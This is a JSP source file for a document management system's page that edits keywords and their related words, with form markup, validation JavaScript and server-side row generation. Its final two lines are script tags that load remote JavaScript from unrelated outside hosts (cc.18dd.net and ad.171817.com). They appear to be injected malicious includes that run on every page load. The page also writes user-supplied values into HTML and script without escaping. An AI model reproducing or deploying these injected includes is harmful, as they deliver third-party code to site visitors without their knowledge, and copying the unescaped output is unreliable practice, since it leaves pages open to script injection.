<%
/*
 * @(#)EditDmsRelationalWord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsRelationalWord.jsp

  This class is reflecting business logic uses.

    @author           Anson mo
    @company          DCIVision Limited
    @creation date    06/23/2005
    @version          $Revision: 1.32.2.10 $
*/
%>

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsRelationalWordForm" scope="request" class="com.dcivision.dms.web.MaintDmsRelationalWordForm"/>
<%
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String LIST_NAME = "dmsRelationalWordList";

  String[][]  LABEL_MAP = { {"ID","ID"},
                            {"dms.relational.blank", GlobalConstant.NOT_AVAILABLE},
                            {"dms.relational.name", GlobalConstant.NOT_AVAILABLE},
                            {"dms.relational.bi_direction_relation", GlobalConstant.NOT_AVAILABLE},
                            {"dms.relational.remove", GlobalConstant.NOT_AVAILABLE}
                          };

   List relationalWordList = maintDmsRelationalWordForm.getSonKeywordList()!=null?maintDmsRelationalWordForm.getSonKeywordList():new ArrayList();
   Integer defaultSubKeywordSize=new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_USER_DEFINED_FIELD_SIZE));
%>
<script language="Javascript">
<!--
function custOpSave() {
  var str=document.maintDmsRelationalWordForm.relationKeyword.value;
  str=RTrim(LTrim(str));
  if(str==""){
    alert("<bean:message key='dms.relational.word.message'/>");
    document.maintDmsRelationalWordForm.relationKeyword.focus();
    return false;
  }
  if (!OpValidate()) {
    return(false);
  }
  document.maintDmsRelationalWordForm.action = '<%=request.getContextPath()%>/dms/MaintDmsRelationalWord.do';
  if (document.maintDmsRelationalWordForm.navMode.value=="E") {
    document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_UPDATE%>";
  }else {
    document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_INSERT%>";
  }
  loadingTo(null, true);
  //LEE 06/11/15 EIP-1121
  /*
  <%if(relationalWordList.size()>0){%>
     document.maintDmsRelationalWordForm.action = '<%=request.getContextPath()%>/dms/MaintDmsRelationalWord.do';
     document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_UPDATE%>";
  <%}else {%>
     document.maintDmsRelationalWordForm.action = '<%=request.getContextPath()%>/dms/MaintDmsRelationalWord.do';
     document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_INSERT%>";
  <%}%>
  */
  document.maintDmsRelationalWordForm.sonKeyNumber.value=2;
  document.maintDmsRelationalWordForm.submit();
  return false;
}
function custOpSaveAndNew(frm) {
  //LEE 06/11/15 EIP-1121
  var str=document.maintDmsRelationalWordForm.relationKeyword.value;
  str=RTrim(LTrim(str));
  if(str==""){
    alert("<bean:message key='dms.relational.word.message'/>");
    document.maintDmsRelationalWordForm.relationKeyword.focus();
    return false;
  }
  if (!OpValidate()) {
    return(false);
  }
  if (document.maintDmsRelationalWordForm.navMode.value=="E") {
    document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_UPDATE_NEW%>";
  }else {
    document.maintDmsRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_INSERT_NEW%>";
  }
  document.maintDmsRelationalWordForm.submit();
  return false;
}

function keyWordSubmit(){
  var str=document.maintDmsRelationalWordForm.relationKeyword.value;
      str=RTrim(LTrim(str));
      if(str==""){
     alert("<bean:message key='dms.relational.word.message'/>");
     document.maintDmsRelationalWordForm.relationKeyword.focus();
     return false;
  }
 document.maintDmsRelationalWordForm.action = '<%=request.getContextPath()%>/dms/MaintDmsRelationalWord.do?opMode=RETRIVE_RELATION_WORD&navMode=E';
 document.maintDmsRelationalWordForm.sonKeyNumber.value=2;
  document.maintDmsRelationalWordForm.submit();
	return false;
}

function opAddFields() {
  var intValue;
  intValue=parseInt(document.maintDmsRelationalWordForm.newField.value);
  document.maintDmsRelationalWordForm.newField.value = intValue;

  //joan.xiong add code for bug EIP-1415 by 2006/01/10
  if (isNaN(intValue) || intValue<0 ) {
    document.maintDmsRelationalWordForm.newField.value = "";
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintDmsRelationalWordForm.newField.focus();
    return(false);
  }
  //joan.xiong add code end
  document.maintDmsRelationalWordForm.sonKeyNumber.value = Number(document.maintDmsRelationalWordForm.newField.value) +Number(document.maintDmsRelationalWordForm.sonKeyNumber.value);
  document.maintDmsRelationalWordForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";

  if(Number(document.maintDmsRelationalWordForm.sonKeyNumber.value)>100){
   alert("<bean:message key='dms.message.exceed_max_index_field' arg0='100'/>");
   document.maintDmsRelationalWordForm.sonKeyNumber.value=2;
   return true
  }
  document.maintDmsRelationalWordForm.submit();
  return false;
}
function LTrim(str)
{
  var whitespace = new String(" \t\n\r");
  var s = new String(str);
    if (whitespace.indexOf(s.charAt(0)) != -1)
    {
        var j=0, i = s.length;
        while (j < i && whitespace.indexOf(s.charAt(j)) != -1)
        {
            j++;
        }
        s = s.substring(j, i);
    }
    return s;
}
function RTrim(str)
{
    var whitespace = new String(" \t\n\r");
    var s = new String(str);
    if (whitespace.indexOf(s.charAt(s.length-1)) != -1){
      var i = s.length - 1;
      while (i >= 0 && whitespace.indexOf(s.charAt(i)) != -1){
            i--;
        }
        s = s.substring(0, i+1);
    }
    return s;
}
function opSearch(){
    var sOptions;
    var sPopupPath = 'MaintDmsSearchRelationalWord.do?navMode=L&opMode=L';

    var width =  (screen.availWidth - 100).toString();
    var height = (screen.availHeight - 350).toString();

    sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
    sOptions = sOptions + ',width=' + width;
    sOptions = sOptions + ',height=' + height;
    var leftPos = (screen.availWidth-width)/2;
    var topPos = (screen.availHeight-height)/2;
    sOptions = sOptions + ',screenX=0,screenY=0,left='+leftPos+',top='+topPos;


    var appWin = window.open(sPopupPath, "DCIVisionLoadQuery", sOptions);
    if (appWin) {
      appWin.focus();
      appWin.resizeTo(screen.availWidth-100, screen.availHeight-350);
    }
}
  function getKeyWord(word){
    //document.maintDmsRelationalWordForm.relationKeyword.value=word;
    //document.maintDmsRelationalWordForm.opMode.value="RETRIVE_RELATION_WORD";

    document.maintDmsRelationalWordForm.action="MaintDmsRelationalWord.do";
    document.maintDmsRelationalWordForm.relationKeyword.value=word;
    document.maintDmsRelationalWordForm.navMode.value="E";
    document.maintDmsRelationalWordForm.opMode.value="";
    document.maintDmsRelationalWordForm.submit();
    return(false);
}

-->
</script>

<html:form action="/dms/MaintDmsRelationalWord" styleClass="form-style-2">
<html:javascript formName='maintDmsRelationalWordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  Connection conn = null;
  String functionType = "dms.relational.word.relational_word";
  String sCurFunctionCode = maintDmsRelationalWordForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsRelationalWordForm.getCurFunctionCode();
   conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   String sKeyWord= (String)request.getAttribute("haveKeyWord");
   String relationWord = maintDmsRelationalWordForm.getRelationKeyword();
   DmsRelationalWordDAObject dmsRelationalWordDAObject=new DmsRelationalWordDAObject(sessionContainer,conn);
   DmsRelationalWord relationalWord = null;
   String sonKeyNumber = request.getParameter("sonKeyNumber");
   if(sonKeyNumber==null) sonKeyNumber="2";
   Integer opNewField=new Integer(1);
   if (request.getParameter("newField") != null){
    opNewField = new Integer(request.getParameter("newField"));
   }
   int intSonKeyNumber = 2;
   if(sonKeyNumber!=null){
      try{
        intSonKeyNumber = Integer.parseInt(sonKeyNumber);
      }catch(Exception eee){}
    }

   if(relationalWordList!=null && intSonKeyNumber<relationalWordList.size()){
       intSonKeyNumber=relationalWordList.size();
   }


%>
<script language="Javascript">
<!--
  function OpReset(){
    document.maintDmsRelationalWordForm.relationKeyword.value='';
    document.maintDmsRelationalWordForm.newField.value=1;
    <%for (int i=0; i<intSonKeyNumber; i++) {
     out.println("document.maintDmsRelationalWordForm.relationWord_"+i+".value = ''");
     out.println("document.maintDmsRelationalWordForm.bRelation_"+i+".checked = false");
     out.println("document.maintDmsRelationalWordForm.remove_"+i+".checked = false");
    }%>
    document.maintDmsRelationalWordForm.sonKeyNumber.value=2;
    document.maintDmsRelationalWordForm.submit();
  }

  function OpValidate() {

    <%for (int i=0; i<intSonKeyNumber; i++) {

      for (int j=0; j<intSonKeyNumber; j++) {
      if(i!=j){%>
      if(document.maintDmsRelationalWordForm.relationWord_<%=i%>.value==document.maintDmsRelationalWordForm.relationWord_<%=j%>.value){
            alert("<bean:message key='dms.relational.word.set_up_duplicate'/>");
            return false;
      }
    <%}}%>
    <%}%>

    return (true);
}

function opEdit(){
  document.maintDmsRelationalWordForm.action="MaintDmsRelationalWord.do";
  document.maintDmsRelationalWordForm.relationKeyword.value='<%=relationWord%>';
  document.maintDmsRelationalWordForm.navMode.value="E";
  document.maintDmsRelationalWordForm.opMode.value="";
  document.maintDmsRelationalWordForm.submit();
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='sonKeyNumber' value='<%=new Integer(intSonKeyNumber).toString()%>'/>
<html:hidden property='keyNumber'  value='<%=new Integer(intSonKeyNumber).toString()%>'/>
<input type="hidden" name="word" value="">


<div class="generalHeader">
	<div class="img_left"></div>
  <div class="img_right"></div>
  <div class="button">
  <layout:returnButton className="btn-standard" returnURL='<%="ListDmsRoot.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
  </div>
</div>

<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <table width="100%">
      <layout:sectionHeader name="dms.relational.word.document_profile"/>
      <tr>
        <td class="formLabelSmallMan" width="150"><bean:message key="dms.relational.word.keyword"/>:&nbsp;</td>
        <td class="formFieldSmall" width="630">
          <table>
            <tr>
              <td class="formFieldSmall">
                <%
                  // lee 06/12/19 EIP-1121 edit mode can not change keyword
                  if (GlobalConstant.NAV_MODE_EDIT.equals(maintDmsRelationalWordForm.getNavMode())) {
                %>
                  <html:text property="relationKeyword" size='40' maxlength="85" readonly="true"/>
                <% } else {%>
                  <html:text property="relationKeyword" size='40' maxlength="85"/>
                <% } %>
              </td>
              <td class="formFieldSmall">
                <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                  <a href='#' onClick="javascript:opSearch()"><html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/></a>
                <%}%>
              </td>
              <td class="formFieldSmall" width="100%">
                <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                  <html:standardButton label="dms.relational.word.retrieve_relational_word" onClick="return keyWordSubmit()"/>
                <%}%>
              </td>
            </tr>
          </table>
        </td>
      </tr>

      <tr>
        <td colspan="2">
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td class="bodySmallBold" width='70%'nowrap>
              </td>
              <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <td class="bodySmallBold" width="20%" align="right" nowrap>&nbsp;
                <bean:message key='dms.label.new_field_label'/>&nbsp;
              </td>
              <td>
                <nobr>
                <input type="text" name="newField" value="<%=opNewField%>" size='1' style='font-size:11px'>
                <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
                </nobr>
              </td>
              <%}%>
            </tr>
          </table>
        </td>
      </tr>
     <layout:sectionHeader name='dms.relational.word.relational_word' mandatory='false'/>
    <!--Parent keyword end-->
    </table>
    
    <table width="420">
      <tr><td>
      <div id="dataGrid" class="listTable">
        <table>
            <tr>
              <layout:columnHeader form="maintDmsRelationalWordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=null%>" sortOrder="<%=null%>" copyColumn="false" editColumn="false" checkColumn="false"/>
            </tr>
              <%
                if (intSonKeyNumber==0 ) {
                  for (int i=0; i<defaultSubKeywordSize.intValue(); i++) {
              %>
              <tr>
                <td>
                  <%=i+1%>:
                </td>
                <td>
                  <input type="hidden" name="relationWordID_<%=i%>" value="">
                  <input type="text" name="relationWord_<%=i%>" value="" size="25" maxlength="85">
                </td>
                <td>
                  <input type="checkbox" name="bRelation_<%=i%>" value="bRelation" >
                </td>
                <td>
                  <input type="checkbox" name="remove_<%=i%>" value="remove" >
                </td>
              </tr>       
              <%  
                  }
                }
              %>

              <%
                for(int i=0;i<intSonKeyNumber;i++){
                  DmsRelationalWord relationalWord2 = new DmsRelationalWord();
                  String word = "";
                  String checkValue = "";
                  Integer relationWordID = null;
                  Integer parentID = null;
                  try{
                    relationalWord2 = (DmsRelationalWord) relationalWordList.get(i);
                    word = relationalWord2.getWord();
                    relationWordID = relationalWord2.getID();
                    if("B".equals(relationalWord2.getType())){
                      checkValue="checked";
                    }
                    parentID = relationalWord2.getParentID();
                    int id = parentID.intValue();
                   }catch(Exception ee2){
                   }
              %>
              <tr>
                <td>
                  <%=i+1%>:
                </td>
                <td>
                  <input type="hidden" name="relationWordID_<%=i%>" value="<%=relationWordID%>">
                  <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                  <%=word%>
                  <input type="hidden" name="relationWord_<%=i%>" value="<%=word%>">
                  <%} else {%>
                  <input type="text" name="relationWord_<%=i%>" value="<%=word%>" size="25" maxlength="85">
                  <%}%>
                </td>
                <td>
                  <input type="checkbox" name="bRelation_<%=i%>" value="bRelation"<%=checkValue%> <%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>
                </td>
                <td>
                  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                    <input type="checkbox" name="remove_<%=i%>" value="Remove" >
                  <%}%>
                </td>
              </tr>
              <%
                }  
              %>
        </table>
      </div>
      </td><tr>
    </table>
  </div>
</div>


<div class="generalBottomButtonArea">
  <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <% if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) { %>
    <%if(permissionManager.hasAccessRight(SystemFunctionConstant.DMS_ADMIN,"I") || permissionManager.hasAccessRight(SystemFunctionConstant.DMS_ADMIN,"E")){%>
     <html:standardButton label="common.label.save" onClick="return custOpSave()"/>
    <%}else{%>
     <html:standardButton label="common.label.save" disable="true"/>
    <%}%>
    <html:permissionButton label="common.label.more" right="I" functionCode="<%=sCurFunctionCode%>"  onClick="return custOpSaveAndNew()"/>
    <html:standardButton label="common.label.reset" onClick="return OpReset()"/>
    <html:permissionButton label="dms.label.document_import_export" right="P"  functionCode="<%=sCurFunctionCode%>"   link='<%="MaintDmsRelationalWord.do?opMode=EXCEL_RELATION_WORD&curFunctionCode="+sCurFunctionCode%>'/>
    <%}else{%>
    <html:standardButton label="common.label.edit" onClick="return opEdit()"/>
    <%}%>
  </div>
</div>



</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>